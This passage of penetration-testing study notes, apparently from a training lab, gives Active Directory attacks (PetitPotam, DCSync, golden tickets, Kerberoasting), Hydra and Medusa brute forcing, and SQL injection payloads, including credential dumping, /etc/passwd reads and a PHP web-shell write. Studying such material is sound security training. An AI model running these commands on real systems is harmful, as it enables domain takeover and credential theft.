python3 PetitPotam.py 172.16.5.225 172.16.5.5
```

Requesting a TGT Using gettgtpkinit.py:

```shell-session
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache
```

Setting the KRB5CCNAME Environment Variable:

```shell-session
export KRB5CCNAME=dc01.ccache
```

Using Domain Controller TGT to DCSync:

```shell-session
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```

Confirming Admin Access to the Domain Controller:

```shell-session
crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf
```

Alternate route — request the NT hash with `getnthash.py` (Kerberos U2U + PAC):

```shell-session
python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$
```

Using Domain Controller NTLM Hash to DCSync:

```shell-session
secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba
```

Requesting TGT and Performing PTT with DC01$ Machine Account (Rubeus):

```powershell-session
.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt
```

PetitPotam Mitigations — patch [CVE-2021-36942](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942); use [Extended Protection for Authentication](https://docs.microsoft.com/en-us/security-updates/securityadvisories/2009/973811) + [Require SSL](https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429); [disable NTLM](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-ntlm-authentication-in-this-domain) for DCs; disable NTLM on AD CS via [Group Policy](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-incoming-ntlm-traffic); disable NTLM for IIS on AD CS.

#### Miscellaneous AD Misconfigurations

Enumerating for MS-PRN Printer Bug:

```powershell-session
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
```

Enumerating DNS Records (adidnsdump):

```shell-session
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5
```

<https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/>

```shell-session
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
```

Finding Passwords in the Description Field:

```powershell-session
Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
```

Checking for PASSWD\_NOTREQD Setting ([passwd\_notreqd](https://ldapwiki.com/wiki/Wiki.jsp?page=PASSWD_NOTREQD)):

```powershell-session
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
```

GPP passwords — [Get-GPPPassword.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1) etc. Decrypting the Password with gpp-decrypt:

```shell-session
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
```

Using CrackMapExec's gpp\_autologin Module:

```shell-session
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
```

#### ASREPRoasting

Obtain the TGT for any account with [Do not require Kerberos pre-authentication](https://www.tenable.com/blog/how-to-stop-the-kerberos-pre-authentication-attack-in-active-directory) enabled.

```powershell-session
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
```

Retrieving AS-REP in Proper Format using Rubeus:

```powershell-session
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
```

Cracking the Hash Offline with Hashcat:

```shell-session
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt
```

Kerbrute retrieves AS-REP for users without pre-auth:

```shell-session
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
```

Hunting for Users with Kerberos Pre-auth Not Required (GetNPUsers.py):

```shell-session
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
```

#### GPO Enumeration & Abuse

Enumerating GPO Names with PowerView:

```powershell-session
Get-DomainGPO |select displayname
```

Enumerating Domain User GPO Rights:

```powershell-session
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
```

Converting GPO GUID to Name:

```powershell-session
Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532
```

Abuse editable GPOs with [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse). Know the difference between Printer Bug & PetitPotam & PrintNightmare.

#### Domain Trusts

Enumerate domain trust relationships with [Get-ADTrust](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=windowsserver2022-ps):

```powershell-session
Import-Module activedirectory
Get-ADTrust -Filter *
```

Checking for Existing Trusts using Get-DomainTrust:

```powershell-session
Get-DomainTrust
```

```powershell-session
Get-DomainTrustMapping
```

Checking Users in the Child Domain:

```powershell-session
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName
```

Using netdom to query domain trust:

```cmd-session
netdom query /domain:inlanefreight.local trust
```

Using netdom to query domain controllers:

```cmd-session
netdom query /domain:inlanefreight.local dc
```

Using netdom to query workstations and servers:

```cmd-session
netdom query /domain:inlanefreight.local workstation
```

#### SID History Abuse (Child → Parent)

<https://web.archive.org/web/20220812183844/https://www.serverbrain.org/active-directory-2008/sid-history-and-sid-filtering.html> — need: KRBTGT hash for the child domain, child domain SID, target user name, child domain FQDN, and the Enterprise Admins group SID of the root domain. See <https://adsecurity.org/?p=483>.

DCSync the KRBTGT hash for the child:

```powershell-session
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
```

Get the child domain SID with PowerView:

```powershell-session
Get-DomainSID
```

Obtaining Enterprise Admins Group's SID:

```powershell-session
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
```

Creating a Golden Ticket with Mimikatz:

```powershell-session
kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
```

Listing the parent DC's C: Drive:

```powershell-session
dir \\academy-ea-dc01.inlanefreight.local\c$
```

Rubeus Golden Ticket:

```powershell-session
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
```

DCSync a specific domain:

```powershell-session
lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
```

Same attack from Linux — Performing DCSync with secretsdump.py:

```shell-session
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
```

SID brute forcing with [lookupsid.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py):

```shell-session
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
```

Filter for the domain SID:

```shell-session
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
```

Get the Enterprise Admins SID (target INLANEFREIGHT DC). See [well-known SIDs](https://adsecurity.org/?p=1001):

```shell-session
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
```

Construct a Golden Ticket with [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py):

```shell-session
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
```

Don't forget to:

```shell-session
export KRB5CCNAME=hacker.ccache
```

Getting a SYSTEM shell using Impacket's psexec.py:

```shell-session
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
```

Performing the Attack with raiseChild.py:

```shell-session
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
```

Accessing another user on the domain:

```bash
secretsdump.py hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -just-dc-ntlm -just-dc-user bross
```

#### Cross-Forest Attacks

Cross-Forest Kerberoasting — Enumerating Accounts with SPNs:

```powershell-session
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
```

Enumerating the mssqlsvc Account:

```powershell-session
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof
```

Performing a Kerberoasting Attack with Rubeus Using /domain Flag:

```powershell-session
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
```

Enumerate foreign group membership with [Get-DomainForeignGroupMember](https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainForeignGroupMember):

```powershell-session
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
```

Verify access:

```powershell-session
Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500
```

```powershell-session
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
```

Cross-Forest Trust Abuse - from Linux:

```shell-session
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
```

Add `-request` (and optionally `-outputfile`) to get the TGS ticket:

```shell-session
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
```

Running bloodhound-python Against INLANEFREIGHT.LOCAL:

```shell-session
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
```

Compressing the File with zip -r:

```shell-session
zip -r ilfreight_bh.zip *.json
```

Running bloodhound-python Against FREIGHTLOGISTICS.LOCAL:

```shell-session
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2
```

***

### Using Web Proxies

Use nmap with proxychains to intercept traffic from the command line with Burp:

```shell-session
nmap --proxies http://127.0.0.1:8080
```

***

### Login Brute Forcing

| Method                    | Description                                                                                                       | Example                                                                                      | Best Used When...                                                                               |
| ------------------------- | ----------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
| `Simple Brute Force`      | Systematically tries all possible combinations of characters within a defined character set and length range.     | Trying all combinations of lowercase letters from 'a' to 'z' for passwords of length 4 to 6. | No prior information about the password is available, and computational resources are abundant. |
| `Dictionary Attack`       | Uses a pre-compiled list of common words, phrases, and passwords.                                                 | Trying passwords from a list like 'rockyou.txt' against a login form.                        | The target will likely use a weak or easily guessable password based on common patterns.        |
| `Hybrid Attack`           | Combines simple brute force and dictionary attacks, often appending or prepending characters to dictionary words. | Adding numbers or special characters to the end of words from a dictionary list.             | The target might use a slightly modified version of a common password.                          |
| `Credential Stuffing`     | Leverages leaked credentials from one service to attempt access to other services, assuming password reuse.       | Using leaked username/password pairs to log into various accounts.                           | A large set of leaked credentials is available and password reuse is suspected.                 |
| `Password Spraying`       | Attempts a small set of common passwords against a large number of usernames.                                     | Trying 'password123' or 'qwerty' against all usernames in an organization.                   | Account lockout policies are in place and the attacker aims to avoid detection.                 |
| `Rainbow Table Attack`    | Uses pre-computed tables of password hashes to reverse hashes quickly.                                            | Pre-computing hashes and comparing captured hashes against the table.                        | Many hashes need cracking and storage for the tables is available.                              |
| `Reverse Brute Force`     | Targets a single password against multiple usernames.                                                             | Using a leaked password to try logging into multiple accounts.                               | A particular password is suspected of being reused across accounts.                             |
| `Distributed Brute Force` | Distributes the workload across multiple computers/devices.                                                       | Using a cluster of computers to increase combinations per second.                            | The target key is highly complex and a single machine lacks the power.                          |

#### Building a Policy-Compliant Wordlist with grep

Policy: minimum 8 characters, ≥1 uppercase, ≥1 lowercase, ≥1 number. Download the wordlist:

```shell-session
wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/darkweb2017_top-10000.txt
```

Apply the policy with successive greps:

```shell-session
grep -E '^.{8,}$' darkweb2017-top10000.txt > darkweb2017-minlength.txt
```

```shell-session
grep -E '[A-Z]' darkweb2017-minlength.txt > darkweb2017-uppercase.txt
```

```shell-session
grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
```

```shell-session
grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt
```

#### Hydra

> *\[Screenshots: Pasted image 20250430014931.png · 20250430015110.png]*

| Hydra Service | Service/Protocol                 | Description                                 | Example Command                                                                                                |
| ------------- | -------------------------------- | ------------------------------------------- | -------------------------------------------------------------------------------------------------------------- |
| ftp           | File Transfer Protocol           | Brute-force FTP login credentials.          | `hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100`                                             |
| ssh           | Secure Shell                     | Brute-force SSH credentials.                | `hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100`                                              |
| http-get/post | HTTP Web Services                | Brute-force HTTP login forms (GET or POST). | `hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"` |
| smtp          | Simple Mail Transfer Protocol    | Brute-force SMTP login credentials.         | `hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com`                                          |
| pop3          | Post Office Protocol             | Brute-force POP3 login.                     | `hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com`                               |
| imap          | Internet Message Access Protocol | Brute-force IMAP credentials.               | `hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com`                               |
| mysql         | MySQL Database                   | Brute-force MySQL login.                    | `hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100`                                            |
| mssql         | Microsoft SQL Server             | Brute-force MSSQL login.                    | `hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100`                                              |
| vnc           | Virtual Network Computing        | Brute-force VNC.                            | `hydra -P /path/to/password_list.txt vnc://192.168.1.100`                                                      |
| rdp           | Remote Desktop Protocol          | Brute-force RDP.                            | `hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100`                                             |

Brute-Forcing HTTP Authentication:

```shell-session
hydra -L usernames.txt -P passwords.txt www.example.com http-get
```

Targeting Multiple SSH Servers (compile IPs into `targets.txt`):

```shell-session
hydra -l root -p toor -M targets.txt ssh
```

Testing FTP Credentials on a Non-Standard Port:

```shell-session
hydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp
```

Brute-Forcing a Web Login Form:

```shell-session
hydra -l admin -P passwords.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
```

Advanced RDP Brute-Forcing (6–8 chars, mixed case + numbers):

```shell-session
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp
```

Exploiting Basic Auth with Hydra:

```shell-session
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
```

```shell-session
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt
```

Brute force the authentication method:

```shell-session
hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81
```

> *\[Screenshot: Pasted image 20250430021501.png]*

```shell-session
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
```

Hydra `http-post-form` general structure:

```shell-session
hydra [options] target http-post-form "path:params:condition_string"
```

Match on login failure:

```bash
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
```

Match on the response code:

```bash
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"
```

Match on a success keyword like "Dashboard":

```bash
hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard"
```

Final command:

```shell-session
hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 94.237.61.187 -s $PORT http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
```

#### Medusa

```shell-session
medusa [target_options] [credential_options] -M module [module_options]
```

> *\[Screenshot: Pasted image 20250430024218.png]* — `-m "MODULE_OPTION"`:

```shell-session
medusa -M http -m "POST /login.php HTTP/1.1\r\nContent-Length: 30\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=^USER^&password=^PASS^"
```

> *\[Screenshot: Pasted image 20250430024345.png]* — Medusa Modules. Testing for Empty or Default Passwords:

```shell-session
medusa -h 10.0.0.5 -U usernames.txt -e ns -M service_name
```

* Target `10.0.0.5`; usernames from `usernames.txt`; check empty passwords (`-e n`) and password matching username (`-e s`); use the appropriate service module.

```shell-session
medusa -h <IP> -n <PORT> -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
```

> *\[Screenshot: Pasted image 20250430024657.png]*

#### Custom Wordlist Generation

Username wordlist with username-anarchy:

```shell-session
./username-anarchy Jane Smith > jane_smith_usernames.txt
```

Password list generation with CUPP (interactive mode):

```shell-session
CUPP -i
```

> *\[Screenshot: Pasted image 20250430141702.png]* — Filter to match policy (min 6, upper, lower, number, ≥2 specials from `!@#$%^&*`):

```shell-session
grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt
```

Use both lists in Hydra against the login form:

```shell-session
hydra -L usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"
```

FTP one-liner:

```bash
ftp ftp://{USERNAME}:{PASSWORD}@{SERVER}
```

```shell-session
ftp ftp://ftpuser:<FTPUSER_PASSWORD>@localhost
```

***

### SQL Injection Fundamentals

<https://www.sqlinjection.net/stacked-queries/> — MySQL `UNION` combines two or more result sets into one. The relationship between tables within a database is called a Schema.

Connecting to a remote host/port (defaults to localhost otherwise):

```shell-session
mysql -u root -h docker.hackthebox.eu -P 3306 -p
```

If SSL errors occur:

```bash
mysql -h 94.237.57.211 -P 37592 -u root -p --skip-ssl
```

```bash
mysql -h 94.237.57.211 -P 37592 -u root -p --ssl-mode=DISABLED
```

Create a new database:

```shell-session
CREATE DATABASE users;
```

List all databases:

```shell-session
SHOW DATABASES;
```

Create a new TABLE (all [data types](https://dev.mysql.com/doc/refman/8.0/en/data-types.html)):

```shell-session
CREATE TABLE logins (
    ->     id INT,
    ->     username VARCHAR(100),
    ->     password VARCHAR(100),
    ->     date_of_joining DATETIME
    ->     );
```

List all tables:

```shell-session
SHOW TABLES;
```

[DESCRIBE](https://dev.mysql.com/doc/refman/8.0/en/describe.html) lists the table structure:

```shell-session
DESCRIBE logins;
```

[INSERT](https://dev.mysql.com/doc/refman/8.0/en/insert.html) adds new records:

```shell-session
INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
```

```shell-session
INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
```

Insert multiple records:

```shell-session
INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
```

Retrieve data with [SELECT](https://dev.mysql.com/doc/refman/8.0/en/select.html):

```sql
SELECT column1, column2 FROM table_name
```

[DROP](https://dev.mysql.com/doc/refman/8.0/en/drop-table.html) removes tables and databases:

```shell-session
DROP TABLE logins;
```

[ALTER](https://dev.mysql.com/doc/refman/8.0/en/alter-table.html) changes table properties:

```shell-session
ALTER TABLE logins ADD newColumn INT;
```

Rename a column:

```shell-session
ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn;
```

[UPDATE](https://dev.mysql.com/doc/refman/8.0/en/update.html) updates records based on conditions:

```shell-session
UPDATE logins SET password = 'change_password' WHERE id > 1;
```

Sort results with [ORDER BY](https://dev.mysql.com/doc/refman/8.0/en/order-by-optimization.html):

```shell-session
SELECT * FROM logins ORDER BY password;
```

```shell-session
SELECT * FROM logins ORDER BY password DESC;
```

```shell-session
SELECT * FROM logins ORDER BY password DESC, id ASC;
```

[LIMIT](https://dev.mysql.com/doc/refman/8.0/en/limit-optimization.html) results:

```shell-session
SELECT * FROM logins LIMIT 2;
```

Filter with the [WHERE](https://dev.mysql.com/doc/refman/8.0/en/where-optimization.html) clause:

```shell-session
SELECT * FROM logins WHERE id > 1;
```

```shell-session
SELECT * FROM logins where username = 'admin';
```

[LIKE](https://dev.mysql.com/doc/refman/8.0/en/pattern-matching.html) pattern matching:

```shell-session
SELECT * FROM logins WHERE username LIKE 'admin%';
```

AND Operator:

```shell-session
SELECT 1 = 1 AND 'test' = 'test';
```

OR Operator:

```shell-session
SELECT 1 = 1 OR 'test' = 'abc';
```

NOT Operator:

```shell-session
SELECT NOT 1 = 1;
```

`AND`, `OR`, `NOT` can be written as `&&`, `||`, `!`:

```shell-session
mysql> SELECT 1 = 1 && 'test' = 'abc';
+-------------------------+
| 1 = 1 && 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
mysql> SELECT 1 = 1 || 'test' = 'abc';
+-------------------------+
| 1 = 1 || 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
mysql> SELECT 1 != 1;
+--------+
| 1 != 1 |
+--------+
|      0 |
+--------+
1 row in set (0.00 sec)
```

Operator precedence ([MariaDB Documentation](https://mariadb.com/kb/en/operator-precedence/)) — Division (`/`), Multiplication (`*`), Modulus (`%`); Addition (`+`), Subtraction (`-`); Comparison (`=`, `>`, `<`, `<=`, `>=`, `!=`, `LIKE`); NOT (`!`); AND (`&&`); OR (`||`). Example:

```sql
SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;
```

> *\[Screenshot: Pasted image 20251021051313.png]* — SQLi types.

#### SQLi Discovery

| Payload | URL Encoded |
| ------- | ----------- |
| `'`     | `%27`       |
| `"`     | `%22`       |
| `#`     | `%23`       |
| `;`     | `%3B`       |
| `)`     | `%29`       |

Comments — `--`, `#`, and in-line `/**/`:

```shell-session
SELECT username FROM logins; -- Selects usernames from the logins table
```

```shell-session
SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'
```

#### UNION-Based Injection

Combine results from two tables:

```shell-session
SELECT * FROM ports UNION SELECT * FROM ships;
```

Tip: use `NULL` to fill other columns (fits all data types).

```sql
SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords
```

Count total rows across tables:

```sql
SELECT (SELECT COUNT(*) FROM employees) + (SELECT COUNT(*) FROM departments) AS total_union_count;
```

#### Database Fingerprinting (MySQL)

| Payload            | When to Use                      | Expected Output                                 | Wrong Output                                           |
| ------------------ | -------------------------------- | ----------------------------------------------- | ------------------------------------------------------ |
| `SELECT @@version` | When we have full query output   | MySQL Version (e.g. `10.3.22-MariaDB-1ubuntu1`) | In MSSQL returns MSSQL version. Error with other DBMS. |
| `SELECT POW(1,1)`  | When we only have numeric output | `1`                                             | Error with other DBMS                                  |
| `SELECT SLEEP(5)`  | Blind/No Output                  | Delays response 5 seconds and returns `0`.      | Won't delay with other DBMS                            |

The [INFORMATION\_SCHEMA](https://dev.mysql.com/doc/refman/8.0/en/information-schema-introduction.html) database contains metadata about databases and tables. Reference another DB's table with the dot operator:

```sql
SELECT * FROM my_database.users;
```

Find available databases ([SCHEMATA](https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html)):

```shell-session
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
```

Via UNION injection:

```sql
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
```

Find tables within the `dev` database ([TABLES](https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html)):

```sql
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
```

Find columns in the `credentials` table ([COLUMNS](https://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-table.html)):

```sql
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
```

Dump the data:

```sql
cn' UNION select 1, username, password, 4 from dev.credentials-- -
```

#### Privileges & File Operations

Find the current DB user:

```sql
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
```

Via UNION injection:

```sql
cn' UNION SELECT 1, user(), 3, 4-- -
```

```sql
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
```

Test super admin privileges:

```sql
SELECT super_priv FROM mysql.user
```

```sql
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
```

```sql
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
```

Dump privileges from the schema:

```sql
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
```

```sql
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
```

Read local files with [LOAD\_FILE()](https://mariadb.com/kb/en/load_file/):

```sql
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
```

Read the source code of `search.php`:

```sql
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
```

Write File Privileges require: a user with `FILE` privilege; `secure_file_priv` not enabled; write access to the target location.

Check `secure_file_priv`:

```sql
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
```

```sql
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```

Write with [SELECT INTO OUTFILE](https://mariadb.com/kb/en/select-into-outfile/):

```shell-session
SELECT * from users INTO OUTFILE '/tmp/credentials';
```

```sql
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
```

Write a test file to the webroot:

```sql
select 'file written successfully!' into outfile '/var/www/html/proof.txt'
```

**Note:** find the web root via `load_file` on configs (`/etc/apache2/apache2.conf`, `/etc/nginx/nginx.conf`, `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`) or fuzz using [Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt) / [Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt) wordlists.

```sql
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
```

Writing a Web Shell:

```sql
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
```

***

### SQLMap Essentials

[SQLMap](https://github.com/sqlmapproject/sqlmap) is a free, open-source tool that automates detecting and exploiting SQL injection flaws.

```shell-session
python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'
```

Running SQLMap on an HTTP Request (paste a `curl` command, change `curl` → `sqlmap`):

```shell-session
sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'
```

Testing POST data with `--data`:

```shell-session
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
```

Mark the injectable parameter with `*` (or narrow with `-p uid`):

```shell-session
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'
```

Run SQLMap with an HTTP request file:

```shell-session
sqlmap -r req.txt
```

Specify a session cookie:

```shell-session
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
```

Same effect via `-H/--header`:

```shell-session
sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
```

The `--mobile` switch imitates a smartphone. Specify an alternative HTTP method with `--method`:

```shell-session
sqlmap -u www.target.com --data='id=1' --method PUT
```

Store the Traffic with `-t`:

```shell-session
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt
```

Verbose Output with `-v`:

```shell-session
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch
```

Use `--proxy` to redirect traffic through Burp. Use `--text-only` when there's hidden content; `--string=success` to fixate detection on a success string.

Level/Risk — `--level` (`1-5`, default `1`) and `--risk` (`1-3`, default `1`).

Basic enumeration:

```shell-session
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
```

Retrieve table names for `testdb`:

